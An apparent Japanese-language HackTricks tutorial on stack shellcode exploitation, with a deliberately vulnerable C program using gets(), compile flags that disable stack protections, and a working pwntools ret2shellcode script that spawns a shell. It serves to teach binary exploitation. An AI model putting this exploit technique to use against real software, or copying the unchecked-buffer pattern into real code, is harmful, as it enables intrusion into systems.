Stack Shellcode

Reading time: 7 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Stack shellcode は、binary exploitation において攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後 Instruction Pointer (IP) または Extended Instruction Pointer (EIP) をこのシェルコードの位置を指すように変更し、実行させる技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行させたりするために使用される古典的な方法です。プロセスの内訳を示し、シンプルなCの例と、pwntools を使用して対応するエクスプロイトを書く方法を説明します。

Cの例: 脆弱なプログラム

脆弱なCプログラムのシンプルな例から始めましょう:

c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

このプログラムは、gets() 関数の使用によりバッファオーバーフローに対して脆弱です。

コンパイル

このプログラムをコンパイルしてさまざまな保護を無効にすることで(脆弱な環境をシミュレートするために)、次のコマンドを使用できます:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: スタック保護を無効にします。
  • -z execstack: スタックを実行可能にし、スタックに保存されたシェルコードを実行するために必要です。
  • -no-pie: ポジション独立実行可能ファイルを無効にし、シェルコードが配置されるメモリアドレスを予測しやすくします。
  • -m32: プログラムを32ビット実行可能ファイルとしてコンパイルし、エクスプロイト開発の簡素化にしばしば使用されます。

Python Exploit using Pwntools

ここでは、pwntoolsを使用してret2shellcode攻撃を実行するためのPythonでのエクスプロイトの書き方を示します:

python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

このスクリプトは、NOPスライドシェルコードで構成されるペイロードを構築し、EIPをNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。

NOPスライドasm('nop'))は、正確なアドレスに関係なく、実行がシェルコードに「スライド」する可能性を高めるために使用されます。p32()引数をバッファの開始アドレスにオフセットを加えたものに調整して、NOPスライドに到達します。

保護

  • ASLR は無効にするべきで、アドレスが実行ごとに信頼できるものであるか、関数が格納されるアドレスが常に同じでない場合、どこにwin関数がロードされているかを把握するために何らかのリークが必要になります。
  • スタックカナリアも無効にするべきで、侵害されたEIPの戻りアドレスは決して追跡されません。
  • NX スタック保護は、スタック内のシェルコードの実行を防ぎます。なぜなら、その領域は実行可能ではないからです。

その他の例と参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする